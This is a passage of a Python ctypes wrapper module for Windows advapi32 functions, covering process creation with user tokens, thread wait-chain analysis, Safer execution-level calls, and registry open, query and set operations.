1828 lpStartupInfo.lpDesktop = 0
1829 lpStartupInfo.lpTitle = 0
1830 lpStartupInfo.dwFlags = 0
1831 lpStartupInfo.cbReserved2 = 0
1832 lpStartupInfo.lpReserved2 = 0
1833 lpProcessInformation = PROCESS_INFORMATION()
1834 lpProcessInformation.hProcess = INVALID_HANDLE_VALUE
1835 lpProcessInformation.hThread = INVALID_HANDLE_VALUE
1836 lpProcessInformation.dwProcessId = 0
1837 lpProcessInformation.dwThreadId = 0
1838 _CreateProcessWithTokenW(hToken, dwLogonFlags, lpApplicationName, lpCommandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, byref(lpStartupInfo), byref(lpProcessInformation))
1839 return lpProcessInformation
1840
1841 CreateProcessWithTokenA = MakeANSIVersion(CreateProcessWithTokenW)
1842 CreateProcessWithToken = DefaultStringType(CreateProcessWithTokenA, CreateProcessWithTokenW)
1843
1844 # BOOL WINAPI CreateProcessAsUser(
1845 # __in_opt HANDLE hToken,
1846 # __in_opt LPCTSTR lpApplicationName,
1847 # __inout_opt LPTSTR lpCommandLine,
1848 # __in_opt LPSECURITY_ATTRIBUTES lpProcessAttributes,
1849 # __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes,
1850 # __in BOOL bInheritHANDLEs,
1851 # __in DWORD dwCreationFlags,
1852 # __in_opt LPVOID lpEnvironment,
1853 # __in_opt LPCTSTR lpCurrentDirectory,
1854 # __in LPSTARTUPINFO lpStartupInfo,
1855 # __out LPPROCESS_INFORMATION lpProcessInformation
1856 # );
1857 def CreateProcessAsUserA(hToken = None, lpApplicationName = None, lpCommandLine=None, lpProcessAttributes=None, lpThreadAttributes=None, bInheritHANDLEs=False, dwCreationFlags=0, lpEnvironment=None, lpCurrentDirectory=None, lpStartupInfo=None):
1858 _CreateProcessAsUserA = windll.advapi32.CreateProcessAsUserA
1859 _CreateProcessAsUserA.argtypes = [HANDLE, LPSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPSTR, LPVOID, LPPROCESS_INFORMATION]
1860 _CreateProcessAsUserA.restype = bool
1861 _CreateProcessAsUserA.errcheck = RaiseIfZero
1862
1863 if not lpApplicationName:
1864 lpApplicationName = None
1865 if not lpCommandLine:
1866 lpCommandLine = None
1867 else:
1868 lpCommandLine = ctypes.create_string_buffer(lpCommandLine.encode('ascii'), max(MAX_PATH, len(lpCommandLine) + 1))
1869 if not lpEnvironment:
1870 lpEnvironment = None
1871 else:
1872 lpEnvironment = ctypes.create_string_buffer(lpEnvironment.encode('ascii'))
1873 if not lpCurrentDirectory:
1874 lpCurrentDirectory = None
1875 if not lpProcessAttributes:
1876 lpProcessAttributes = None
1877 else:
1878 lpProcessAttributes = byref(lpProcessAttributes)
1879 if not lpThreadAttributes:
1880 lpThreadAttributes = None
1881 else:
1882 lpThreadAttributes = byref(lpThreadAttributes)
1883 if not lpStartupInfo:
1884 lpStartupInfo = STARTUPINFO()
1885 lpStartupInfo.cb = sizeof(STARTUPINFO)
1886 lpStartupInfo.lpReserved = 0
1887 lpStartupInfo.lpDesktop = 0
1888 lpStartupInfo.lpTitle = 0
1889 lpStartupInfo.dwFlags = 0
1890 lpStartupInfo.cbReserved2 = 0
1891 lpStartupInfo.lpReserved2 = 0
1892 lpProcessInformation = PROCESS_INFORMATION()
1893 lpProcessInformation.hProcess = INVALID_HANDLE_VALUE
1894 lpProcessInformation.hThread = INVALID_HANDLE_VALUE
1895 lpProcessInformation.dwProcessId = 0
1896 lpProcessInformation.dwThreadId = 0
1897 _CreateProcessAsUserA(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bool(bInheritHANDLEs), dwCreationFlags, lpEnvironment, lpCurrentDirectory, byref(lpStartupInfo), byref(lpProcessInformation))
1898 return lpProcessInformation
1899
1900 def CreateProcessAsUserW(hToken = None, lpApplicationName = None, lpCommandLine=None, lpProcessAttributes=None, lpThreadAttributes=None, bInheritHANDLEs=False, dwCreationFlags=0, lpEnvironment=None, lpCurrentDirectory=None, lpStartupInfo=None):
1901 _CreateProcessAsUserW = windll.advapi32.CreateProcessAsUserW
1902 _CreateProcessAsUserW.argtypes = [HANDLE, LPWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPWSTR, LPVOID, LPPROCESS_INFORMATION]
1903 _CreateProcessAsUserW.restype = bool
1904 _CreateProcessAsUserW.errcheck = RaiseIfZero
1905
1906 if not lpApplicationName:
1907 lpApplicationName = None
1908 if not lpCommandLine:
1909 lpCommandLine = None
1910 else:
1911 lpCommandLine = ctypes.create_unicode_buffer(lpCommandLine, max(MAX_PATH, len(lpCommandLine) + 1))
1912 if not lpEnvironment:
1913 lpEnvironment = None
1914 else:
1915 lpEnvironment = ctypes.create_unicode_buffer(lpEnvironment)
1916 if not lpCurrentDirectory:
1917 lpCurrentDirectory = None
1918 if not lpProcessAttributes:
1919 lpProcessAttributes = None
1920 else:
1921 lpProcessAttributes = byref(lpProcessAttributes)
1922 if not lpThreadAttributes:
1923 lpThreadAttributes = None
1924 else:
1925 lpThreadAttributes = byref(lpThreadAttributes)
1926 if not lpStartupInfo:
1927 lpStartupInfo = STARTUPINFO()
1928 lpStartupInfo.cb = sizeof(STARTUPINFO)
1929 lpStartupInfo.lpReserved = 0
1930 lpStartupInfo.lpDesktop = 0
1931 lpStartupInfo.lpTitle = 0
1932 lpStartupInfo.dwFlags = 0
1933 lpStartupInfo.cbReserved2 = 0
1934 lpStartupInfo.lpReserved2 = 0
1935 lpProcessInformation = PROCESS_INFORMATION()
1936 lpProcessInformation.hProcess = INVALID_HANDLE_VALUE
1937 lpProcessInformation.hThread = INVALID_HANDLE_VALUE
1938 lpProcessInformation.dwProcessId = 0
1939 lpProcessInformation.dwThreadId = 0
1940 _CreateProcessAsUserW(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bool(bInheritHANDLEs), dwCreationFlags, lpEnvironment, lpCurrentDirectory, byref(lpStartupInfo), byref(lpProcessInformation))
1941 return lpProcessInformation
1942
1943 CreateProcessAsUser = GuessStringType(CreateProcessAsUserA, CreateProcessAsUserW)
1944
1945 # VOID CALLBACK WaitChainCallback(
1946 # HWCT WctHANDLE,
1947 # DWORD_PTR Context,
1948 # DWORD CallbackStatus,
1949 # LPDWORD NodeCount,
1950 # PWAITCHAIN_NODE_INFO NodeInfoArray,
1951 # LPBOOL IsCycle
1952 # );
1953 PWAITCHAINCALLBACK = WINFUNCTYPE(HWCT, DWORD_PTR, DWORD, LPDWORD, PWAITCHAIN_NODE_INFO, LPBOOL)
1954
1955 # HWCT WINAPI OpenThreadWaitChainSession(
1956 # __in DWORD Flags,
1957 # __in_opt PWAITCHAINCALLBACK callback
1958 # );
1959 def OpenThreadWaitChainSession(Flags = 0, callback = None):
1960 _OpenThreadWaitChainSession = windll.advapi32.OpenThreadWaitChainSession
1961 _OpenThreadWaitChainSession.argtypes = [DWORD, PVOID]
1962 _OpenThreadWaitChainSession.restype = HWCT
1963 _OpenThreadWaitChainSession.errcheck = RaiseIfZero
1964
1965 if callback is not None:
1966 callback = PWAITCHAINCALLBACK(callback)
1967 aHANDLE = _OpenThreadWaitChainSession(Flags, callback)
1968 return ThreadWaitChainSessionHANDLE(aHANDLE)
1969
1970 # BOOL WINAPI GetThreadWaitChain(
1971 # _In_ HWCT WctHANDLE,
1972 # _In_opt_ DWORD_PTR Context,
1973 # _In_ DWORD Flags,
1974 # _In_ DWORD ThreadId,
1975 # _Inout_ LPDWORD NodeCount,
1976 # _Out_ PWAITCHAIN_NODE_INFO NodeInfoArray,
1977 # _Out_ LPBOOL IsCycle
1978 # );
1979 def GetThreadWaitChain(WctHANDLE, Context = None, Flags = WCTP_GETINFO_ALL_FLAGS, ThreadId = -1, NodeCount = WCT_MAX_NODE_COUNT):
1980 _GetThreadWaitChain = windll.advapi32.GetThreadWaitChain
1981 _GetThreadWaitChain.argtypes = [HWCT, LPDWORD, DWORD, DWORD, LPDWORD, PWAITCHAIN_NODE_INFO, LPBOOL]
1982 _GetThreadWaitChain.restype = bool
1983 _GetThreadWaitChain.errcheck = RaiseIfZero
1984
1985 dwNodeCount = DWORD(NodeCount)
1986 NodeInfoArray = (WAITCHAIN_NODE_INFO * NodeCount)()
1987 IsCycle = BOOL(0)
1988 _GetThreadWaitChain(WctHANDLE, Context, Flags, ThreadId, byref(dwNodeCount), ctypes.cast(ctypes.pointer(NodeInfoArray), PWAITCHAIN_NODE_INFO), byref(IsCycle))
1989 while dwNodeCount.value > NodeCount:
1990 NodeCount = dwNodeCount.value
1991 NodeInfoArray = (WAITCHAIN_NODE_INFO * NodeCount)()
1992 _GetThreadWaitChain(WctHANDLE, Context, Flags, ThreadId, byref(dwNodeCount), ctypes.cast(ctypes.pointer(NodeInfoArray), PWAITCHAIN_NODE_INFO), byref(IsCycle))
1993 return (
1994 [ WaitChainNodeInfo(NodeInfoArray[index]) for index in xrange(dwNodeCount.value) ],
1995 bool(IsCycle.value)
1996 )
1997
1998 # VOID WINAPI CloseThreadWaitChainSession(
1999 # __in HWCT WctHANDLE
2000 # );
2001 def CloseThreadWaitChainSession(WctHANDLE):
2002 _CloseThreadWaitChainSession = windll.advapi32.CloseThreadWaitChainSession
2003 _CloseThreadWaitChainSession.argtypes = [HWCT]
2004 _CloseThreadWaitChainSession(WctHANDLE)
2005
2006 # BOOL WINAPI SaferCreateLevel(
2007 # __in DWORD dwScopeId,
2008 # __in DWORD dwLevelId,
2009 # __in DWORD OpenFlags,
2010 # __out SAFER_LEVEL_HANDLE *pLevelHANDLE,
2011 # __reserved LPVOID lpReserved
2012 # );
2013 def SaferCreateLevel(dwScopeId=SAFER_SCOPEID_USER, dwLevelId=SAFER_LEVELID_NORMALUSER, OpenFlags=0):
2014 _SaferCreateLevel = windll.advapi32.SaferCreateLevel
2015 _SaferCreateLevel.argtypes = [DWORD, DWORD, DWORD, POINTER(SAFER_LEVEL_HANDLE), LPVOID]
2016 _SaferCreateLevel.restype = BOOL
2017 _SaferCreateLevel.errcheck = RaiseIfZero
2018
2019 hLevelHANDLE = SAFER_LEVEL_HANDLE(INVALID_HANDLE_VALUE)
2020 _SaferCreateLevel(dwScopeId, dwLevelId, OpenFlags, byref(hLevelHANDLE), None)
2021 return SaferLevelHANDLE(hLevelHANDLE.value)
2022
2023 # BOOL WINAPI SaferIdentifyLevel(
2024 # __in DWORD dwNumProperties,
2025 # __in_opt PSAFER_CODE_PROPERTIES pCodeProperties,
2026 # __out SAFER_LEVEL_HANDLE *pLevelHANDLE,
2027 # __reserved LPVOID lpReserved
2028 # );
2029
2030 # XXX TODO
2031
2032 # BOOL WINAPI SaferComputeTokenFromLevel(
2033 # __in SAFER_LEVEL_HANDLE LevelHANDLE,
2034 # __in_opt HANDLE InAccessToken,
2035 # __out PHANDLE OutAccessToken,
2036 # __in DWORD dwFlags,
2037 # __inout_opt LPVOID lpReserved
2038 # );
2039 def SaferComputeTokenFromLevel(LevelHANDLE, InAccessToken=None, dwFlags=0):
2040 _SaferComputeTokenFromLevel = windll.advapi32.SaferComputeTokenFromLevel
2041 _SaferComputeTokenFromLevel.argtypes = [SAFER_LEVEL_HANDLE, HANDLE, PHANDLE, DWORD, LPDWORD]
2042 _SaferComputeTokenFromLevel.restype = BOOL
2043 _SaferComputeTokenFromLevel.errcheck = RaiseIfZero
2044
2045 OutAccessToken = HANDLE(INVALID_HANDLE_VALUE)
2046 lpReserved = DWORD(0)
2047 _SaferComputeTokenFromLevel(LevelHANDLE, InAccessToken, byref(OutAccessToken), dwFlags, byref(lpReserved))
2048 return TokenHandle(OutAccessToken.value), lpReserved.value
2049
2050 # BOOL WINAPI SaferCloseLevel(
2051 # __in SAFER_LEVEL_HANDLE hLevelHANDLE
2052 # );
2053 def SaferCloseLevel(hLevelHANDLE):
2054 _SaferCloseLevel = windll.advapi32.SaferCloseLevel
2055 _SaferCloseLevel.argtypes = [SAFER_LEVEL_HANDLE]
2056 _SaferCloseLevel.restype = BOOL
2057 _SaferCloseLevel.errcheck = RaiseIfZero
2058
2059 if hasattr(hLevelHANDLE, 'value'):
2060 _SaferCloseLevel(hLevelHANDLE.value)
2061 else:
2062 _SaferCloseLevel(hLevelHANDLE)
2063
2064 # BOOL SaferiIsExecutableFileType(
2065 # __in LPCWSTR szFullPath,
2066 # __in BOOLEAN bFromShellExecute
2067 # );
2068 def SaferiIsExecutableFileType(szFullPath, bFromShellExecute = False):
2069 _SaferiIsExecutableFileType = windll.advapi32.SaferiIsExecutableFileType
2070 _SaferiIsExecutableFileType.argtypes = [LPWSTR, BOOLEAN]
2071 _SaferiIsExecutableFileType.restype = BOOL
2072 _SaferiIsExecutableFileType.errcheck = RaiseIfLastError
2073
2074 SetLastError(ERROR_SUCCESS)
2075 return bool(_SaferiIsExecutableFileType(unicode(szFullPath), bFromShellExecute))
2076
2077 # useful alias since I'm likely to misspell it :P
2078 SaferIsExecutableFileType = SaferiIsExecutableFileType
2079
2080 #------------------------------------------------------------------------------
2081
2082 # LONG WINAPI RegCloseKey(
2083 # __in HKEY hKey
2084 # );
2085 def RegCloseKey(hKey):
2086 if hasattr(hKey, 'value'):
2087 value = hKey.value
2088 else:
2089 value = hKey
2090
2091 if value in (
2092 HKEY_CLASSES_ROOT,
2093 HKEY_CURRENT_USER,
2094 HKEY_LOCAL_MACHINE,
2095 HKEY_USERS,
2096 HKEY_PERFORMANCE_DATA,
2097 HKEY_CURRENT_CONFIG
2098 ):
2099 return
2100
2101 _RegCloseKey = windll.advapi32.RegCloseKey
2102 _RegCloseKey.argtypes = [HKEY]
2103 _RegCloseKey.restype = LONG
2104 _RegCloseKey.errcheck = RaiseIfNotErrorSuccess
2105 _RegCloseKey(hKey)
2106
2107 # LONG WINAPI RegConnectRegistry(
2108 # __in_opt LPCTSTR lpMachineName,
2109 # __in HKEY hKey,
2110 # __out PHKEY phkResult
2111 # );
2112 def RegConnectRegistryA(lpMachineName = None, hKey = HKEY_LOCAL_MACHINE):
2113 _RegConnectRegistryA = windll.advapi32.RegConnectRegistryA
2114 _RegConnectRegistryA.argtypes = [LPSTR, HKEY, PHKEY]
2115 _RegConnectRegistryA.restype = LONG
2116 _RegConnectRegistryA.errcheck = RaiseIfNotErrorSuccess
2117
2118 hkResult = HKEY(INVALID_HANDLE_VALUE)
2119 _RegConnectRegistryA(lpMachineName, hKey, byref(hkResult))
2120 return RegistryKeyHANDLE(hkResult.value)
2121
2122 def RegConnectRegistryW(lpMachineName = None, hKey = HKEY_LOCAL_MACHINE):
2123 _RegConnectRegistryW = windll.advapi32.RegConnectRegistryW
2124 _RegConnectRegistryW.argtypes = [LPWSTR, HKEY, PHKEY]
2125 _RegConnectRegistryW.restype = LONG
2126 _RegConnectRegistryW.errcheck = RaiseIfNotErrorSuccess
2127
2128 hkResult = HKEY(INVALID_HANDLE_VALUE)
2129 _RegConnectRegistryW(lpMachineName, hKey, byref(hkResult))
2130 return RegistryKeyHANDLE(hkResult.value)
2131
2132 RegConnectRegistry = GuessStringType(RegConnectRegistryA, RegConnectRegistryW)
2133
2134 # LONG WINAPI RegCreateKey(
2135 # __in HKEY hKey,
2136 # __in_opt LPCTSTR lpSubKey,
2137 # __out PHKEY phkResult
2138 # );
2139 def RegCreateKeyA(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None):
2140 _RegCreateKeyA = windll.advapi32.RegCreateKeyA
2141 _RegCreateKeyA.argtypes = [HKEY, LPSTR, PHKEY]
2142 _RegCreateKeyA.restype = LONG
2143 _RegCreateKeyA.errcheck = RaiseIfNotErrorSuccess
2144
2145 hkResult = HKEY(INVALID_HANDLE_VALUE)
2146 _RegCreateKeyA(hKey, lpSubKey, byref(hkResult))
2147 return RegistryKeyHANDLE(hkResult.value)
2148
2149 def RegCreateKeyW(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None):
2150 _RegCreateKeyW = windll.advapi32.RegCreateKeyW
2151 _RegCreateKeyW.argtypes = [HKEY, LPWSTR, PHKEY]
2152 _RegCreateKeyW.restype = LONG
2153 _RegCreateKeyW.errcheck = RaiseIfNotErrorSuccess
2154
2155 hkResult = HKEY(INVALID_HANDLE_VALUE)
2156 _RegCreateKeyW(hKey, lpSubKey, byref(hkResult))
2157 return RegistryKeyHANDLE(hkResult.value)
2158
2159 RegCreateKey = GuessStringType(RegCreateKeyA, RegCreateKeyW)
2160
2161 # LONG WINAPI RegCreateKeyEx(
2162 # __in HKEY hKey,
2163 # __in LPCTSTR lpSubKey,
2164 # __reserved DWORD Reserved,
2165 # __in_opt LPTSTR lpClass,
2166 # __in DWORD dwOptions,
2167 # __in REGSAM samDesired,
2168 # __in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes,
2169 # __out PHKEY phkResult,
2170 # __out_opt LPDWORD lpdwDisposition
2171 # );
2172
2173 # XXX TODO
2174
2175 # LONG WINAPI RegOpenKey(
2176 # __in HKEY hKey,
2177 # __in_opt LPCTSTR lpSubKey,
2178 # __out PHKEY phkResult
2179 # );
2180 def RegOpenKeyA(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None):
2181 _RegOpenKeyA = windll.advapi32.RegOpenKeyA
2182 _RegOpenKeyA.argtypes = [HKEY, LPSTR, PHKEY]
2183 _RegOpenKeyA.restype = LONG
2184 _RegOpenKeyA.errcheck = RaiseIfNotErrorSuccess
2185
2186 hkResult = HKEY(INVALID_HANDLE_VALUE)
2187 _RegOpenKeyA(hKey, lpSubKey, byref(hkResult))
2188 return RegistryKeyHANDLE(hkResult.value)
2189
2190 def RegOpenKeyW(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None):
2191 _RegOpenKeyW = windll.advapi32.RegOpenKeyW
2192 _RegOpenKeyW.argtypes = [HKEY, LPWSTR, PHKEY]
2193 _RegOpenKeyW.restype = LONG
2194 _RegOpenKeyW.errcheck = RaiseIfNotErrorSuccess
2195
2196 hkResult = HKEY(INVALID_HANDLE_VALUE)
2197 _RegOpenKeyW(hKey, lpSubKey, byref(hkResult))
2198 return RegistryKeyHANDLE(hkResult.value)
2199
2200 RegOpenKey = GuessStringType(RegOpenKeyA, RegOpenKeyW)
2201
2202 # LONG WINAPI RegOpenKeyEx(
2203 # __in HKEY hKey,
2204 # __in_opt LPCTSTR lpSubKey,
2205 # __reserved DWORD ulOptions,
2206 # __in REGSAM samDesired,
2207 # __out PHKEY phkResult
2208 # );
2209 def RegOpenKeyExA(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None, samDesired = KEY_ALL_ACCESS):
2210 _RegOpenKeyExA = windll.advapi32.RegOpenKeyExA
2211 _RegOpenKeyExA.argtypes = [HKEY, LPSTR, DWORD, REGSAM, PHKEY]
2212 _RegOpenKeyExA.restype = LONG
2213 _RegOpenKeyExA.errcheck = RaiseIfNotErrorSuccess
2214
2215 hkResult = HKEY(INVALID_HANDLE_VALUE)
2216 _RegOpenKeyExA(hKey, lpSubKey, 0, samDesired, byref(hkResult))
2217 return RegistryKeyHANDLE(hkResult.value)
2218
2219 def RegOpenKeyExW(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None, samDesired = KEY_ALL_ACCESS):
2220 _RegOpenKeyExW = windll.advapi32.RegOpenKeyExW
2221 _RegOpenKeyExW.argtypes = [HKEY, LPWSTR, DWORD, REGSAM, PHKEY]
2222 _RegOpenKeyExW.restype = LONG
2223 _RegOpenKeyExW.errcheck = RaiseIfNotErrorSuccess
2224
2225 hkResult = HKEY(INVALID_HANDLE_VALUE)
2226 _RegOpenKeyExW(hKey, lpSubKey, 0, samDesired, byref(hkResult))
2227 return RegistryKeyHANDLE(hkResult.value)
2228
2229 RegOpenKeyEx = GuessStringType(RegOpenKeyExA, RegOpenKeyExW)
2230
2231 # LONG WINAPI RegOpenCurrentUser(
2232 # __in REGSAM samDesired,
2233 # __out PHKEY phkResult
2234 # );
2235 def RegOpenCurrentUser(samDesired = KEY_ALL_ACCESS):
2236 _RegOpenCurrentUser = windll.advapi32.RegOpenCurrentUser
2237 _RegOpenCurrentUser.argtypes = [REGSAM, PHKEY]
2238 _RegOpenCurrentUser.restype = LONG
2239 _RegOpenCurrentUser.errcheck = RaiseIfNotErrorSuccess
2240
2241 hkResult = HKEY(INVALID_HANDLE_VALUE)
2242 _RegOpenCurrentUser(samDesired, byref(hkResult))
2243 return RegistryKeyHANDLE(hkResult.value)
2244
2245 # LONG WINAPI RegOpenUserClassesRoot(
2246 # __in HANDLE hToken,
2247 # __reserved DWORD dwOptions,
2248 # __in REGSAM samDesired,
2249 # __out PHKEY phkResult
2250 # );
2251 def RegOpenUserClassesRoot(hToken, samDesired = KEY_ALL_ACCESS):
2252 _RegOpenUserClassesRoot = windll.advapi32.RegOpenUserClassesRoot
2253 _RegOpenUserClassesRoot.argtypes = [HANDLE, DWORD, REGSAM, PHKEY]
2254 _RegOpenUserClassesRoot.restype = LONG
2255 _RegOpenUserClassesRoot.errcheck = RaiseIfNotErrorSuccess
2256
2257 hkResult = HKEY(INVALID_HANDLE_VALUE)
2258 _RegOpenUserClassesRoot(hToken, 0, samDesired, byref(hkResult))
2259 return RegistryKeyHANDLE(hkResult.value)
2260
2261 # LONG WINAPI RegQueryValue(
2262 # __in HKEY hKey,
2263 # __in_opt LPCTSTR lpSubKey,
2264 # __out_opt LPTSTR lpValue,
2265 # __inout_opt PLONG lpcbValue
2266 # );
2267 def RegQueryValueA(hKey, lpSubKey = None):
2268 _RegQueryValueA = windll.advapi32.RegQueryValueA
2269 _RegQueryValueA.argtypes = [HKEY, LPSTR, LPVOID, PLONG]
2270 _RegQueryValueA.restype = LONG
2271 _RegQueryValueA.errcheck = RaiseIfNotErrorSuccess
2272
2273 cbValue = LONG(0)
2274 _RegQueryValueA(hKey, lpSubKey, None, byref(cbValue))
2275 lpValue = ctypes.create_string_buffer(cbValue.value)
2276 _RegQueryValueA(hKey, lpSubKey, lpValue, byref(cbValue))
2277 return lpValue.value
2278
2279 def RegQueryValueW(hKey, lpSubKey = None):
2280 _RegQueryValueW = windll.advapi32.RegQueryValueW
2281 _RegQueryValueW.argtypes = [HKEY, LPWSTR, LPVOID, PLONG]
2282 _RegQueryValueW.restype = LONG
2283 _RegQueryValueW.errcheck = RaiseIfNotErrorSuccess
2284
2285 cbValue = LONG(0)
2286 _RegQueryValueW(hKey, lpSubKey, None, byref(cbValue))
2287 lpValue = ctypes.create_unicode_buffer(cbValue.value * sizeof(WCHAR))
2288 _RegQueryValueW(hKey, lpSubKey, lpValue, byref(cbValue))
2289 return lpValue.value
2290
2291 RegQueryValue = GuessStringType(RegQueryValueA, RegQueryValueW)
2292
2293 # LONG WINAPI RegQueryValueEx(
2294 # __in HKEY hKey,
2295 # __in_opt LPCTSTR lpValueName,
2296 # __reserved LPDWORD lpReserved,
2297 # __out_opt LPDWORD lpType,
2298 # __out_opt LPBYTE lpData,
2299 # __inout_opt LPDWORD lpcbData
2300 # );
2301 def _internal_RegQueryValueEx(ansi, hKey, lpValueName = None, bGetData = True):
2302 _RegQueryValueEx = _caller_RegQueryValueEx(ansi)
2303
2304 cbData = DWORD(0)
2305 dwType = DWORD(-1)
2306 _RegQueryValueEx(hKey, lpValueName, None, byref(dwType), None, byref(cbData))
2307 Type = dwType.value
2308
2309 if not bGetData:
2310 return cbData.value, Type
2311
2312 if Type in (REG_DWORD, REG_DWORD_BIG_ENDIAN): # REG_DWORD_LITTLE_ENDIAN
2313 if cbData.value != 4:
2314 raise ValueError("REG_DWORD value of size %d" % cbData.value)
2315 dwData = DWORD(0)
2316 _RegQueryValueEx(hKey, lpValueName, None, None, byref(dwData), byref(cbData))
2317 return dwData.value, Type
2318
2319 if Type == REG_QWORD: # REG_QWORD_LITTLE_ENDIAN
2320 if cbData.value != 8:
2321 raise ValueError("REG_QWORD value of size %d" % cbData.value)
2322 qwData = QWORD(0)
2323 _RegQueryValueEx(hKey, lpValueName, None, None, byref(qwData), byref(cbData))
2324 return qwData.value, Type
2325
2326 if Type in (REG_SZ, REG_EXPAND_SZ):
2327 if ansi:
2328 szData = ctypes.create_string_buffer(cbData.value)
2329 else:
2330 szData = ctypes.create_unicode_buffer(cbData.value)
2331 _RegQueryValueEx(hKey, lpValueName, None, None, byref(szData), byref(cbData))
2332 return szData.value, Type
2333
2334 if Type == REG_MULTI_SZ:
2335 if ansi:
2336 szData = ctypes.create_string_buffer(cbData.value)
2337 else:
2338 szData = ctypes.create_unicode_buffer(cbData.value)
2339 _RegQueryValueEx(hKey, lpValueName, None, None, byref(szData), byref(cbData))
2340 Data = szData[:]
2341 if ansi:
2342 aData = Data.split('\0')
2343 else:
2344 aData = Data.split(u'\0')
2345 aData = [token for token in aData if token]
2346 return aData, Type
2347
2348 if Type == REG_LINK:
2349 szData = ctypes.create_unicode_buffer(cbData.value)
2350 _RegQueryValueEx(hKey, lpValueName, None, None, byref(szData), byref(cbData))
2351 return szData.value, Type
2352
2353 # REG_BINARY, REG_NONE, and any future types
2354 szData = ctypes.create_string_buffer(cbData.value)
2355 _RegQueryValueEx(hKey, lpValueName, None, None, byref(szData), byref(cbData))
2356 return szData.raw, Type
2357
2358 def _caller_RegQueryValueEx(ansi):
2359 if ansi:
2360 _RegQueryValueEx = windll.advapi32.RegQueryValueExA
2361 _RegQueryValueEx.argtypes = [HKEY, LPSTR, LPVOID, PDWORD, LPVOID, PDWORD]
2362 else:
2363 _RegQueryValueEx = windll.advapi32.RegQueryValueExW
2364 _RegQueryValueEx.argtypes = [HKEY, LPWSTR, LPVOID, PDWORD, LPVOID, PDWORD]
2365 _RegQueryValueEx.restype = LONG
2366 _RegQueryValueEx.errcheck = RaiseIfNotErrorSuccess
2367 return _RegQueryValueEx
2368
2369 # see _internal_RegQueryValueEx
2370 def RegQueryValueExA(hKey, lpValueName = None, bGetData = True):
2371 return _internal_RegQueryValueEx(True, hKey, lpValueName, bGetData)
2372
2373 # see _internal_RegQueryValueEx
2374 def RegQueryValueExW(hKey, lpValueName = None, bGetData = True):
2375 return _internal_RegQueryValueEx(False, hKey, lpValueName, bGetData)
2376
2377 RegQueryValueEx = GuessStringType(RegQueryValueExA, RegQueryValueExW)
2378
2379 # LONG WINAPI RegSetValueEx(
2380 # __in HKEY hKey,
2381 # __in_opt LPCTSTR lpValueName,
2382 # __reserved DWORD Reserved,
2383 # __in DWORD dwType,
2384 # __in_opt const BYTE *lpData,
2385 # __in DWORD cbData
2386 # );
2387 def RegSetValueEx(hKey, lpValueName = None, lpData = None, dwType = None):
2388
2389 # Determine which version of the API to use, ANSI or Widechar.
2390 if lpValueName is None:
2391 if isinstance(lpData, GuessStringType.t_ansi):
2392 ansi = True
2393 elif isinstance(lpData, GuessStringType.t_unicode):
2394 ansi = False
2395 else:
2396 ansi = (GuessStringType.t_ansi == GuessStringType.t_default)
2397 elif isinstance(lpValueName, GuessStringType.t_ansi):
2398 ansi = True
2399 elif isinstance(lpValueName, GuessStringType.t_unicode):
2400 ansi = False
2401 else:
2402 raise TypeError("String expected, got %s instead" % type(lpValueName))
2403
2404 # Autodetect the type when not given.
2405 # TODO: improve detection of DWORD and QWORD by seeing if the value "fits".
2406 if dwType is None:
2407 if lpValueName is None:
2408 dwType = REG_SZ
2409 elif lpData is None:
2410 dwType = REG_NONE
2411 elif isinstance(lpData, GuessStringType.t_ansi):
2412 dwType = REG_SZ
2413 elif isinstance(lpData, GuessStringType.t_unicode):
2414 dwType = REG_SZ
2415 elif isinstance(lpData, int):
2416 dwType = REG_DWORD
2417 elif isinstance(lpData, long):
2418 dwType = REG_QWORD
2419 else:
2420 dwType = REG_BINARY
2421
2422 # Load the ctypes caller.
2423 if ansi:
2424 _RegSetValueEx = windll.advapi32.RegSetValueExA
2425 _RegSetValueEx.argtypes = [HKEY, LPSTR, DWORD, DWORD, LPVOID, DWORD]
2426 else:
2427 _RegSetValueEx = windll.advapi32.RegSetValueExW
2428 _RegSetValueEx.argtypes = [HKEY, LPWSTR, DWORD, DWORD, LPVOID, DWORD]
2429 _RegSetValueEx.restype = LONG
2430 _RegSetValueEx.errcheck = RaiseIfNotErrorSuccess
2431
2432 # Convert the arguments so ctypes can understand them.
2433 if lpData is None:
2434 DataRef = None
2435 DataSize = 0
2436 else:
2437 if dwType in (REG_DWORD, REG_DWORD_BIG_ENDIAN): # REG_DWORD_LITTLE_ENDIAN
2438 Data = DWORD(lpData)
2439 elif dwType == REG_QWORD: # REG_QWORD_LITTLE_ENDIAN
2440 Data = QWORD(lpData)
2441 elif dwType in (REG_SZ, REG_EXPAND_SZ):
2442 if ansi:
2443 Data = ctypes.create_string_buffer(lpData)
2444 else:
2445 Data = ctypes.create_unicode_buffer(lpData)
2446 elif dwType == REG_MULTI_SZ:
2447 if ansi:
2448 Data = ctypes.create_string_buffer('\0'.join(lpData) + '\0\0')
2449 else:
2450 Data = ctypes.create_unicode_buffer(u'\0'.join(lpData) + u'\0\0')
2451 elif dwType == REG_LINK:
2452 Data = ctypes.create_unicode_buffer(lpData)
2453 else:
2454 Data = ctypes.create_string_buffer(lpData)
2455 DataRef = byref(Data)
2456 DataSize = sizeof(Data)
2457
2458 # Call the API with the converted arguments.
2459 _RegSetValueEx(hKey, lpValueName, 0, dwType, DataRef, DataSize)
2460
2461 # No "GuessStringType" here since detection is done inside.
2462 RegSetValueExA = RegSetValueExW = RegSetValueEx
2463
2464 # LONG WINAPI RegEnumKey(
2465 # __in HKEY hKey,
2466 # __in DWORD dwIndex,
2467 # __out LPTSTR lpName,
2468 # __in DWORD cchName
2469 # );
2470 def RegEnumKeyA(hKey, dwIndex):
2471 _RegEnumKeyA = windll.advapi32.RegEnumKeyA
